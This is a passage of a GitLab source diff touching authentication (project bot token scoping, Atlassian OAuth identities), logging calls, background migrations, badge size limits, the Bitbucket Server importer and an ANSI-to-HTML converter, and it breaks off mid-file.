index ece4946383d..609eef5e365 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -50,7 +50,7 @@ module Gitlab
build_access_token_check(login, password) ||
lfs_token_check(login, password, project) ||
oauth_access_token_check(login, password) ||
- personal_access_token_check(password) ||
+ personal_access_token_check(password, project) ||
deploy_token_check(login, password, project) ||
user_with_password_for_git(login, password) ||
Gitlab::Auth::Result.new
@@ -117,7 +117,6 @@ module Gitlab
private
- # rubocop:disable Gitlab/RailsLogger
def rate_limit!(rate_limiter, success:, login:)
return if skip_rate_limit?(login: login)
@@ -132,12 +131,11 @@ module Gitlab
# This returns true when the failures are over the threshold and the IP
# is banned.
if rate_limiter.register_fail!
- Rails.logger.info "IP #{rate_limiter.ip} failed to login " \
+ Gitlab::AppLogger.info "IP #{rate_limiter.ip} failed to login " \
"as #{login} but has been temporarily banned from Git auth"
end
end
end
- # rubocop:enable Gitlab/RailsLogger
def skip_rate_limit?(login:)
CI_JOB_USER == login
@@ -191,12 +189,18 @@ module Gitlab
end
end
- def personal_access_token_check(password)
+ def personal_access_token_check(password, project)
return unless password.present?
token = PersonalAccessTokensFinder.new(state: 'active').find_by_token(password)
- if token && valid_scoped_token?(token, all_available_scopes) && token.user.can?(:log_in)
+ return unless token
+
+ return if project && token.user.project_bot? && !project.bots.include?(token.user)
+
+ return unless valid_scoped_token?(token, all_available_scopes)
+
+ if token.user.project_bot? || token.user.can?(:log_in)
Gitlab::Auth::Result.new(token.user, nil, :personal_access_token, abilities_for_scopes(token.scopes))
end
end
diff --git a/lib/gitlab/auth/atlassian/auth_hash.rb b/lib/gitlab/auth/atlassian/auth_hash.rb
new file mode 100644
index 00000000000..047e4eabc51
--- /dev/null
+++ b/lib/gitlab/auth/atlassian/auth_hash.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Atlassian
+ class AuthHash < Gitlab::Auth::OAuth::AuthHash
+ def token
+ credentials[:token]
+ end
+
+ def refresh_token
+ credentials[:refresh_token]
+ end
+
+ def expires?
+ credentials[:expires]
+ end
+
+ def expires_at
+ credentials[:expires_at]
+ end
+
+ private
+
+ def credentials
+ auth_hash[:credentials]
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/atlassian/identity_linker.rb b/lib/gitlab/auth/atlassian/identity_linker.rb
new file mode 100644
index 00000000000..4dec54d44d6
--- /dev/null
+++ b/lib/gitlab/auth/atlassian/identity_linker.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Atlassian
+ class IdentityLinker < OmniauthIdentityLinkerBase
+ extend ::Gitlab::Utils::Override
+ include ::Gitlab::Utils::StrongMemoize
+
+ private
+
+ override :identity
+ def identity
+ strong_memoize(:identity) do
+ current_user.atlassian_identity || build_atlassian_identity
+ end
+ end
+
+ def build_atlassian_identity
+ identity = current_user.build_atlassian_identity
+ ::Gitlab::Auth::Atlassian::User.assign_identity_from_auth_hash!(identity, auth_hash)
+ end
+
+ def auth_hash
+ ::Gitlab::Auth::Atlassian::AuthHash.new(oauth)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/atlassian/user.rb b/lib/gitlab/auth/atlassian/user.rb
new file mode 100644
index 00000000000..6ab7741cc54
--- /dev/null
+++ b/lib/gitlab/auth/atlassian/user.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Atlassian
+ class User < Gitlab::Auth::OAuth::User
+ def self.assign_identity_from_auth_hash!(identity, auth_hash)
+ identity.extern_uid = auth_hash.uid
+ identity.token = auth_hash.token
+ identity.refresh_token = auth_hash.refresh_token
+ identity.expires_at = Time.at(auth_hash.expires_at).utc.to_datetime if auth_hash.expires?
+
+ identity
+ end
+
+ protected
+
+ def find_by_uid_and_provider
+ ::Atlassian::Identity.find_by_extern_uid(auth_hash.uid)&.user
+ end
+
+ def add_or_update_user_identities
+ return unless gl_user
+
+ identity = gl_user.atlassian_identity || gl_user.build_atlassian_identity
+ self.class.assign_identity_from_auth_hash!(identity, auth_hash)
+ end
+
+ def auth_hash=(auth_hash)
+ @auth_hash = ::Gitlab::Auth::Atlassian::AuthHash.new(auth_hash)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/ldap/adapter.rb b/lib/gitlab/auth/ldap/adapter.rb
index 4f448211abf..b7bb61f0677 100644
--- a/lib/gitlab/auth/ldap/adapter.rb
+++ b/lib/gitlab/auth/ldap/adapter.rb
@@ -55,7 +55,7 @@ module Gitlab
response = ldap.get_operation_result
unless response.code == 0
- Rails.logger.warn("LDAP search error: #{response.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("LDAP search error: #{response.message}")
end
[]
@@ -67,7 +67,7 @@ module Gitlab
retries += 1
error_message = connection_error_message(error)
- Rails.logger.warn(error_message) # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn(error_message)
if retries < MAX_SEARCH_RETRIES
renew_connection_adapter
diff --git a/lib/gitlab/auth/ldap/config.rb b/lib/gitlab/auth/ldap/config.rb
index 7677189eb9f..88cc840c395 100644
--- a/lib/gitlab/auth/ldap/config.rb
+++ b/lib/gitlab/auth/ldap/config.rb
@@ -248,7 +248,7 @@ module Gitlab
begin
custom_options[:cert] = OpenSSL::X509::Certificate.new(custom_options[:cert])
rescue OpenSSL::X509::CertificateError => e
- Rails.logger.error "LDAP TLS Options 'cert' is invalid for provider #{provider}: #{e.message}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "LDAP TLS Options 'cert' is invalid for provider #{provider}: #{e.message}"
end
end
@@ -256,7 +256,7 @@ module Gitlab
begin
custom_options[:key] = OpenSSL::PKey.read(custom_options[:key])
rescue OpenSSL::PKey::PKeyError => e
- Rails.logger.error "LDAP TLS Options 'key' is invalid for provider #{provider}: #{e.message}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "LDAP TLS Options 'key' is invalid for provider #{provider}: #{e.message}"
end
end
diff --git a/lib/gitlab/auth/ldap/person.rb b/lib/gitlab/auth/ldap/person.rb
index 8c5000147c4..102820d6bd5 100644
--- a/lib/gitlab/auth/ldap/person.rb
+++ b/lib/gitlab/auth/ldap/person.rb
@@ -45,7 +45,7 @@ module Gitlab
def self.normalize_dn(dn)
::Gitlab::Auth::Ldap::DN.new(dn).to_normalized_s
rescue ::Gitlab::Auth::Ldap::DN::FormatError => e
- Rails.logger.info("Returning original DN \"#{dn}\" due to error during normalization attempt: #{e.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info("Returning original DN \"#{dn}\" due to error during normalization attempt: #{e.message}")
dn
end
@@ -57,13 +57,13 @@ module Gitlab
def self.normalize_uid(uid)
::Gitlab::Auth::Ldap::DN.normalize_value(uid)
rescue ::Gitlab::Auth::Ldap::DN::FormatError => e
- Rails.logger.info("Returning original UID \"#{uid}\" due to error during normalization attempt: #{e.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info("Returning original UID \"#{uid}\" due to error during normalization attempt: #{e.message}")
uid
end
def initialize(entry, provider)
- Rails.logger.debug { "Instantiating #{self.class.name} with LDIF:\n#{entry.to_ldif}" } # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.debug "Instantiating #{self.class.name} with LDIF:\n#{entry.to_ldif}"
@entry = entry
@provider = provider
end
diff --git a/lib/gitlab/auth/o_auth/provider.rb b/lib/gitlab/auth/o_auth/provider.rb
index 1ca59aa827b..1eae7af442d 100644
--- a/lib/gitlab/auth/o_auth/provider.rb
+++ b/lib/gitlab/auth/o_auth/provider.rb
@@ -5,10 +5,11 @@ module Gitlab
module OAuth
class Provider
LABELS = {
- "github" => "GitHub",
- "gitlab" => "GitLab.com",
- "google_oauth2" => "Google",
- "azure_oauth2" => "Azure AD"
+ "github" => "GitHub",
+ "gitlab" => "GitLab.com",
+ "google_oauth2" => "Google",
+ "azure_oauth2" => "Azure AD",
+ 'atlassian_oauth2' => 'Atlassian'
}.freeze
def self.authentication(user, provider)
diff --git a/lib/gitlab/auth/o_auth/user.rb b/lib/gitlab/auth/o_auth/user.rb
index 086f4a2e91c..3211d2ffaea 100644
--- a/lib/gitlab/auth/o_auth/user.rb
+++ b/lib/gitlab/auth/o_auth/user.rb
@@ -273,7 +273,11 @@ module Gitlab
end
def auto_link_user?
- Gitlab.config.omniauth.auto_link_user
+ auto_link = Gitlab.config.omniauth.auto_link_user
+ return auto_link if [true, false].include?(auto_link)
+
+ auto_link = Array(auto_link)
+ auto_link.include?(auth_hash.provider)
end
end
end
diff --git a/lib/gitlab/background_migration.rb b/lib/gitlab/background_migration.rb
index ea0307e8bd6..d1b9062a23c 100644
--- a/lib/gitlab/background_migration.rb
+++ b/lib/gitlab/background_migration.rb
@@ -9,7 +9,7 @@ module Gitlab
# Begins stealing jobs from the background migrations queue, blocking the
# caller until all jobs have been completed.
#
- # When a migration raises a StandardError is is going to be retries up to
+ # When a migration raises a StandardError it is going to retry up to
# three times, for example, to recover from a deadlock.
#
# When Exception is being raised, it enqueues the migration again, and
diff --git a/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb b/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb
index c912628d0fc..5b9ee8a0ee2 100644
--- a/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb
+++ b/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb
@@ -9,7 +9,7 @@ module Gitlab
end
def perform(start_id, stop_id)
- Rails.logger.info("Setting commits_count for merge request diffs: #{start_id} - #{stop_id}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info("Setting commits_count for merge request diffs: #{start_id} - #{stop_id}")
update = '
commits_count = (
diff --git a/lib/gitlab/background_migration/calculate_wiki_sizes.rb b/lib/gitlab/background_migration/calculate_wiki_sizes.rb
index e62f5edd0e7..76598f6e2a6 100644
--- a/lib/gitlab/background_migration/calculate_wiki_sizes.rb
+++ b/lib/gitlab/background_migration/calculate_wiki_sizes.rb
@@ -10,7 +10,7 @@ module Gitlab
.includes(project: [:route, :group, namespace: [:owner]]).find_each do |statistics|
statistics.refresh!(only: [:wiki_size])
rescue => e
- Rails.logger.error "Failed to update wiki statistics. id: #{statistics.id} message: #{e.message}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "Failed to update wiki statistics. id: #{statistics.id} message: #{e.message}"
end
end
end
diff --git a/lib/gitlab/background_migration/fill_valid_time_for_pages_domain_certificate.rb b/lib/gitlab/background_migration/fill_valid_time_for_pages_domain_certificate.rb
index 4016b807f21..c0099d44b5a 100644
--- a/lib/gitlab/background_migration/fill_valid_time_for_pages_domain_certificate.rb
+++ b/lib/gitlab/background_migration/fill_valid_time_for_pages_domain_certificate.rb
@@ -25,7 +25,7 @@ module Gitlab
certificate_valid_not_after: domain.x509&.not_after&.iso8601
)
rescue => e
- Rails.logger.error "Failed to update pages domain certificate valid time. id: #{domain.id}, message: #{e.message}" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "Failed to update pages domain certificate valid time. id: #{domain.id}, message: #{e.message}"
end
end
end
diff --git a/lib/gitlab/background_migration/fix_pages_access_level.rb b/lib/gitlab/background_migration/fix_pages_access_level.rb
index 31d2e78b2d2..8e46021bd93 100644
--- a/lib/gitlab/background_migration/fix_pages_access_level.rb
+++ b/lib/gitlab/background_migration/fix_pages_access_level.rb
@@ -103,8 +103,8 @@ module Gitlab
end
# Private projects are not allowed to have enabled access level, only `private` and `public`
- # If access control is enabled, these projects currently behave as if the have `private` pages_access_level
- # if access control is disabled, these projects currently behave as if the have `public` pages_access_level
+ # If access control is enabled, these projects currently behave as if they have `private` pages_access_level
+ # if access control is disabled, these projects currently behave as if they have `public` pages_access_level
# so we preserve this behaviour for projects with pages already deployed
# for project without pages we always set `private` access_level
def fix_private_access_level(start_id, stop_id)
diff --git a/lib/gitlab/background_migration/migrate_to_hashed_storage.rb b/lib/gitlab/background_migration/migrate_to_hashed_storage.rb
new file mode 100644
index 00000000000..4054db4fb87
--- /dev/null
+++ b/lib/gitlab/background_migration/migrate_to_hashed_storage.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Background migration to move any legacy project to Hashed Storage
+ class MigrateToHashedStorage
+ def perform
+ batch_size = helper.batch_size
+ legacy_projects_count = Project.with_unmigrated_storage.count
+
+ if storage_migrator.rollback_pending?
+ logger.warn(
+ migrator: 'MigrateToHashedStorage',
+ message: 'Aborting an storage rollback operation currently in progress'
+ )
+
+ storage_migrator.abort_rollback!
+ end
+
+ if legacy_projects_count == 0
+ logger.info(
+ migrator: 'MigrateToHashedStorage',
+ message: 'There are no projects requiring migration to Hashed Storage'
+ )
+
+ return
+ end
+
+ logger.info(
+ migrator: 'MigrateToHashedStorage',
+ message: "Enqueuing migration of #{legacy_projects_count} projects in batches of #{batch_size}"
+ )
+
+ helper.project_id_batches_migration do |start, finish|
+ storage_migrator.bulk_schedule_migration(start: start, finish: finish)
+
+ logger.info(
+ migrator: 'MigrateToHashedStorage',
+ message: "Enqueuing migration of projects in batches of #{batch_size} from ID=#{start} to ID=#{finish}",
+ batch_from: start,
+ batch_to: finish
+ )
+ end
+ end
+
+ private
+
+ def helper
+ Gitlab::HashedStorage::RakeHelper
+ end
+
+ def storage_migrator
+ @storage_migrator ||= Gitlab::HashedStorage::Migrator.new
+ end
+
+ def logger
+ @logger ||= ::Gitlab::BackgroundMigration::Logger.build
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/populate_resolved_on_default_branch_column.rb b/lib/gitlab/background_migration/populate_resolved_on_default_branch_column.rb
new file mode 100644
index 00000000000..eb72ef1de33
--- /dev/null
+++ b/lib/gitlab/background_migration/populate_resolved_on_default_branch_column.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # rubocop:disable Style/Documentation
+ class PopulateResolvedOnDefaultBranchColumn
+ def perform(*); end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::PopulateResolvedOnDefaultBranchColumn.prepend_if_ee('EE::Gitlab::BackgroundMigration::PopulateResolvedOnDefaultBranchColumn')
diff --git a/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb b/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
new file mode 100644
index 00000000000..a0c89cc4664
--- /dev/null
+++ b/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # This class creates/updates those project historical vulnerability statistics
+ # that haven't been created nor initialized. It should only be executed in EE.
+ class PopulateVulnerabilityHistoricalStatistics
+ def perform(project_ids)
+ end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::PopulateVulnerabilityHistoricalStatistics.prepend_if_ee('EE::Gitlab::BackgroundMigration::PopulateVulnerabilityHistoricalStatistics')
diff --git a/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb b/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb
new file mode 100644
index 00000000000..cc9b0329556
--- /dev/null
+++ b/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+# rubocop:disable Style/Documentation
+
+module Gitlab
+ module BackgroundMigration
+ class RemoveDuplicateCsFindings
+ def perform(start_id, stop_id)
+ end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::RemoveDuplicateCsFindings.prepend_if_ee('EE::Gitlab::BackgroundMigration::RemoveDuplicateCsFindings')
diff --git a/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb b/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb
index 9f765d03d62..527dd2a0a83 100644
--- a/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb
+++ b/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb
@@ -4,13 +4,18 @@ module Gitlab
module BackgroundMigration
# Sets the MergeRequestDiff#files_count value for old rows
class SetMergeRequestDiffFilesCount
- COUNT_SUBQUERY = <<~SQL
- files_count = (
- SELECT count(*)
- FROM merge_request_diff_files
- WHERE merge_request_diff_files.merge_request_diff_id = merge_request_diffs.id
- )
- SQL
+ # Some historic data has a *lot* of files. Apply a sentinel to these cases
+ FILES_COUNT_SENTINEL = 2**15 - 1
+
+ def self.count_subquery
+ <<~SQL
+ files_count = (
+ SELECT LEAST(#{FILES_COUNT_SENTINEL}, count(*))
+ FROM merge_request_diff_files
+ WHERE merge_request_diff_files.merge_request_diff_id = merge_request_diffs.id
+ )
+ SQL
+ end
class MergeRequestDiff < ActiveRecord::Base # rubocop:disable Style/Documentation
include EachBatch
@@ -20,7 +25,7 @@ module Gitlab
def perform(start_id, end_id)
MergeRequestDiff.where(id: start_id..end_id).each_batch do |relation|
- relation.update_all(COUNT_SUBQUERY)
+ relation.update_all(self.class.count_subquery)
end
end
end
diff --git a/lib/gitlab/background_migration/set_null_package_files_file_store_to_local_value.rb b/lib/gitlab/background_migration/set_null_package_files_file_store_to_local_value.rb
index 9ac92aab637..c485c23f3be 100644
--- a/lib/gitlab/background_migration/set_null_package_files_file_store_to_local_value.rb
+++ b/lib/gitlab/background_migration/set_null_package_files_file_store_to_local_value.rb
@@ -11,9 +11,11 @@ module Gitlab
class SetNullPackageFilesFileStoreToLocalValue
LOCAL_STORE = 1 # equal to ObjectStorage::Store::LOCAL
- # Temporary AR class for package files
- class PackageFile < ActiveRecord::Base
- self.table_name = 'packages_package_files'
+ module Packages
+ # Temporary AR class for package files
+ class PackageFile < ActiveRecord::Base
+ self.table_name = 'packages_package_files'
+ end
end
def perform(start_id, stop_id)
diff --git a/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb b/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb
new file mode 100644
index 00000000000..651df36fcfd
--- /dev/null
+++ b/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+# rubocop:disable Style/Documentation
+
+module Gitlab
+ module BackgroundMigration
+ class UpdateLocationFingerprintForContainerScanningFindings
+ def perform(start_id, stop_id)
+ end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::UpdateLocationFingerprintForContainerScanningFindings.prepend_if_ee('EE::Gitlab::BackgroundMigration::UpdateLocationFingerprintForContainerScanningFindings')
diff --git a/lib/gitlab/backtrace_cleaner.rb b/lib/gitlab/backtrace_cleaner.rb
index d04f0983d12..caea05c720d 100644
--- a/lib/gitlab/backtrace_cleaner.rb
+++ b/lib/gitlab/backtrace_cleaner.rb
@@ -31,7 +31,7 @@ module Gitlab
return unless backtrace
Array(Rails.backtrace_cleaner.clean(backtrace)).reject do |line|
- line.match(IGNORED_BACKTRACES_REGEXP)
+ IGNORED_BACKTRACES_REGEXP.match?(line)
end
end
end
diff --git a/lib/gitlab/badge/coverage/template.rb b/lib/gitlab/badge/coverage/template.rb
index 6b78825aefd..1b985f83b22 100644
--- a/lib/gitlab/badge/coverage/template.rb
+++ b/lib/gitlab/badge/coverage/template.rb
@@ -25,7 +25,7 @@ module Gitlab
end
def key_text
- if @key_text && @key_text.size <= MAX_KEY_SIZE
+ if @key_text && @key_text.size <= MAX_KEY_TEXT_SIZE
@key_text
else
@entity.to_s
@@ -37,7 +37,7 @@ module Gitlab
end
def key_width
- if @key_width && @key_width.between?(1, MAX_KEY_SIZE)
+ if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)
@key_width
else
62
diff --git a/lib/gitlab/badge/pipeline/status.rb b/lib/gitlab/badge/pipeline/status.rb
index 17f179f027d..f061ba22688 100644
--- a/lib/gitlab/badge/pipeline/status.rb
+++ b/lib/gitlab/badge/pipeline/status.rb
@@ -12,6 +12,7 @@ module Gitlab
def initialize(project, ref, opts: {})
@project = project
@ref = ref
+ @ignore_skipped = Gitlab::Utils.to_boolean(opts[:ignore_skipped], default: false)
@customization = {
key_width: opts[:key_width].to_i,
key_text: opts[:key_text]
@@ -26,9 +27,11 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def status
- @project.ci_pipelines
+ pipelines = @project.ci_pipelines
.where(sha: @sha)
- .latest_status(@ref) || 'unknown'
+
+ relation = @ignore_skipped ? pipelines.without_statuses([:skipped]) : pipelines
+ relation.latest_status(@ref) || 'unknown'
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/badge/pipeline/template.rb b/lib/gitlab/badge/pipeline/template.rb
index 781897fab4b..af8e318395b 100644
--- a/lib/gitlab/badge/pipeline/template.rb
+++ b/lib/gitlab/badge/pipeline/template.rb
@@ -29,7 +29,7 @@ module Gitlab
end
def key_text
- if @key_text && @key_text.size <= MAX_KEY_SIZE
+ if @key_text && @key_text.size <= MAX_KEY_TEXT_SIZE
@key_text
else
@entity.to_s
@@ -41,7 +41,7 @@ module Gitlab
end
def key_width
- if @key_width && @key_width.between?(1, MAX_KEY_SIZE)
+ if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)
@key_width
else
62
diff --git a/lib/gitlab/badge/template.rb b/lib/gitlab/badge/template.rb
index 97103e3f42c..9ac8f1c17f2 100644
--- a/lib/gitlab/badge/template.rb
+++ b/lib/gitlab/badge/template.rb
@@ -6,7 +6,8 @@ module Gitlab
# Abstract template class for badges
#
class Template
- MAX_KEY_SIZE = 128
+ MAX_KEY_TEXT_SIZE = 64
+ MAX_KEY_WIDTH = 512
def initialize(badge)
@entity = badge.entity
diff --git a/lib/gitlab/bitbucket_server_import/importer.rb b/lib/gitlab/bitbucket_server_import/importer.rb
index 18a1b64729e..aca5a63a424 100644
--- a/lib/gitlab/bitbucket_server_import/importer.rb
+++ b/lib/gitlab/bitbucket_server_import/importer.rb
@@ -61,17 +61,18 @@ module Gitlab
}.to_json)
end
- def gitlab_user_id(email)
- find_user_id(email) || project.creator_id
- end
+ def find_user_id(by:, value:)
+ return unless value
- def find_user_id(email)
- return unless email
+ return users[value] if users.key?(value)
- return users[email] if users.key?(email)
+ user = if by == :email
+ User.find_by_any_email(value, confirmed: true)
+ else
+ User.find_by_username(value)
+ end
- user = User.find_by_any_email(email, confirmed: true)
- users[email] = user&.id
+ users[value] = user&.id
user&.id
end
@@ -197,9 +198,8 @@ module Gitlab
log_info(stage: 'import_bitbucket_pull_requests', message: 'starting', iid: pull_request.iid)
description = ''
- description += @formatter.author_line(pull_request.author) unless find_user_id(pull_request.author_email)
+ description += author_line(pull_request)
description += pull_request.description if pull_request.description
- author_id = gitlab_user_id(pull_request.author_email)
attributes = {
iid: pull_request.iid,
@@ -212,7 +212,7 @@ module Gitlab
target_branch: Gitlab::Git.ref_name(pull_request.target_branch_name),
target_branch_sha: pull_request.target_branch_sha,
state_id: MergeRequest.available_states[pull_request.state],
- author_id: author_id,
+ author_id: author_id(pull_request),
created_at: pull_request.created_at,
updated_at: pull_request.updated_at
}
@@ -254,7 +254,7 @@ module Gitlab
committer = merge_event.committer_email
- user_id = gitlab_user_id(committer)
+ user_id = find_user_id(by: :email, value: committer) || project.creator_id
timestamp = merge_event.merge_timestamp
merge_request.update({ merge_commit_sha: merge_event.merge_commit })
metric = MergeRequest::Metrics.find_or_initialize_by(merge_request: merge_request)
@@ -353,7 +353,7 @@ module Gitlab
end
def pull_request_comment_attributes(comment)
- author = find_user_id(comment.author_email)
+ author = uid(comment)
note = ''
unless author
@@ -397,6 +397,23 @@ module Gitlab
def metrics
@metrics ||= Gitlab::Import::Metrics.new(:bitbucket_server_importer, @project)
end
+
+ def author_line(rep_object)
+ return '' if uid(rep_object)
+
+ @formatter.author_line(rep_object.author)
+ end
+
+ def author_id(rep_object)
+ uid(rep_object) || project.creator_id
+ end
+
+ def uid(rep_object)
+ find_user_id(by: :email, value: rep_object.author_email) unless Feature.enabled?(:bitbucket_server_user_mapping_by_username)
+
+ find_user_id(by: :username, value: rep_object.author_username) ||
+ find_user_id(by: :email, value: rep_object.author_email)
+ end
end
end
end
diff --git a/lib/gitlab/cache/request_cache.rb b/lib/gitlab/cache/request_cache.rb
index 6e48ca90054..3ad919fbba8 100644
--- a/lib/gitlab/cache/request_cache.rb
+++ b/lib/gitlab/cache/request_cache.rb
@@ -55,7 +55,7 @@ module Gitlab
.join(':')
end
- private cache_key_method_name
+ private cache_key_method_name # rubocop: disable Style/AccessModifierDeclarations
end
end
end
diff --git a/lib/gitlab/checks/lfs_integrity.rb b/lib/gitlab/checks/lfs_integrity.rb
index e18cf6ff8f2..78952db7a3e 100644
--- a/lib/gitlab/checks/lfs_integrity.rb
+++ b/lib/gitlab/checks/lfs_integrity.rb
@@ -17,7 +17,7 @@ module Gitlab
return false unless new_lfs_pointers.present?
- existing_count = @project.all_lfs_objects
+ existing_count = @project.lfs_objects
.for_oids(new_lfs_pointers.map(&:lfs_oid))
.count
diff --git a/lib/gitlab/checks/snippet_check.rb b/lib/gitlab/checks/snippet_check.rb
index bcecd0fc251..8c61b782baa 100644
--- a/lib/gitlab/checks/snippet_check.rb
+++ b/lib/gitlab/checks/snippet_check.rb
@@ -3,7 +3,6 @@
module Gitlab
module Checks
class SnippetCheck < BaseChecker
- DEFAULT_BRANCH = 'master'.freeze
ERROR_MESSAGES = {
create_delete_branch: 'You can not create or delete branches.'
}.freeze
@@ -11,17 +10,18 @@ module Gitlab
ATTRIBUTES = %i[oldrev newrev ref branch_name tag_name logger].freeze
attr_reader(*ATTRIBUTES)
- def initialize(change, logger:)
+ def initialize(change, default_branch:, logger:)
@oldrev, @newrev, @ref = change.values_at(:oldrev, :newrev, :ref)
@branch_name = Gitlab::Git.branch_name(@ref)
@tag_name = Gitlab::Git.tag_name(@ref)
+ @default_branch = default_branch
@logger = logger
@logger.append_message("Running checks for ref: #{@branch_name || @tag_name}")
end
def validate!
- if creation? || deletion?
+ if !@default_branch || creation? || deletion?
raise GitAccess::ForbiddenError, ERROR_MESSAGES[:create_delete_branch]
end
@@ -31,7 +31,7 @@ module Gitlab
private
def creation?
- @branch_name != DEFAULT_BRANCH && super
+ @branch_name != @default_branch && super
end
end
end
diff --git a/lib/gitlab/ci/ansi2html.rb b/lib/gitlab/ci/ansi2html.rb
index e145bd2e9df..1fac00337a3 100644
--- a/lib/gitlab/ci/ansi2html.rb
+++ b/lib/gitlab/ci/ansi2html.rb
@@ -31,105 +31,205 @@ module Gitlab
end
class Converter
- def on_0(_) reset end
+ def on_0(_)
+ reset
+ end
- def on_1(_) enable(STYLE_SWITCHES[:bold]) end
+ def on_1(_)
+ enable(STYLE_SWITCHES[:bold])
+ end
- def on_3(_) enable(STYLE_SWITCHES[:italic]) end
+ def on_3(_)
+ enable(STYLE_SWITCHES[:italic])
+ end
- def on_4(_) enable(STYLE_SWITCHES[:underline]) end
+ def on_4(_)
+ enable(STYLE_SWITCHES[:underline])
+ end
- def on_8(_) enable(STYLE_SWITCHES[:conceal]) end
+ def on_8(_)
+ enable(STYLE_SWITCHES[:conceal])
+ end
- def on_9(_) enable(STYLE_SWITCHES[:cross]) end
+ def on_9(_)
+ enable(STYLE_SWITCHES[:cross])
+ end
- def on_21(_) disable(STYLE_SWITCHES[:bold]) end
+ def on_21(_)
+ disable(STYLE_SWITCHES[:bold])
+ end
- def on_22(_) disable(STYLE_SWITCHES[:bold]) end
+ def on_22(_)
+ disable(STYLE_SWITCHES[:bold])
+ end
- def on_23(_) disable(STYLE_SWITCHES[:italic]) end
+ def on_23(_)
+ disable(STYLE_SWITCHES[:italic])
+ end
- def on_24(_) disable(STYLE_SWITCHES[:underline]) end
+ def on_24(_)
+ disable(STYLE_SWITCHES[:underline])
+ end
- def on_28(_) disable(STYLE_SWITCHES[:conceal]) end
+ def on_28(_)
+ disable(STYLE_SWITCHES[:conceal])
+ end
- def on_29(_) disable(STYLE_SWITCHES[:cross]) end
+ def on_29(_)
+ disable(STYLE_SWITCHES[:cross])
+ end
- def on_30(_) set_fg_color(0) end
+ def on_30(_)
+ set_fg_color(0)
+ end
- def on_31(_) set_fg_color(1) end
+ def on_31(_)
+ set_fg_color(1)
+ end
- def on_32(_) set_fg_color(2) end
+ def on_32(_)
+ set_fg_color(2)
+ end
- def on_33(_) set_fg_color(3) end
+ def on_33(_)
+ set_fg_color(3)
+ end
- def on_34(_) set_fg_color(4) end
+ def on_34(_)
+ set_fg_color(4)
+ end
- def on_35(_) set_fg_color(5) end
+ def on_35(_)
+ set_fg_color(5)
+ end
- def on_36(_) set_fg_color(6) end
+ def on_36(_)
+ set_fg_color(6)
+ end
- def on_37(_) set_fg_color(7) end
+ def on_37(_)
+ set_fg_color(7)
+ end
- def on_38(stack) set_fg_color_256(stack) end
+ def on_38(stack)
+ set_fg_color_256(stack)
+ end
- def on_39(_) set_fg_color(9) end
+ def on_39(_)
+ set_fg_color(9)
+ end
- def on_40(_) set_bg_color(0) end
+ def on_40(_)
+ set_bg_color(0)
+ end
- def on_41(_) set_bg_color(1) end
+ def on_41(_)
+ set_bg_color(1)
+ end
- def on_42(_) set_bg_color(2) end
+ def on_42(_)
+ set_bg_color(2)
+ end
- def on_43(_) set_bg_color(3) end
+ def on_43(_)
+ set_bg_color(3)
+ end
- def on_44(_) set_bg_color(4) end
+ def on_44(_)
+ set_bg_color(4)
+ end
- def on_45(_) set_bg_color(5) end
+ def on_45(_)
+ set_bg_color(5)
+ end
- def on_46(_) set_bg_color(6) end
+ def on_46(_)
+ set_bg_color(6)
+ end
- def on_47(_) set_bg_color(7) end
+ def on_47(_)
+ set_bg_color(7)
+ end
- def on_48(stack) set_bg_color_256(stack) end
+ def on_48(stack)
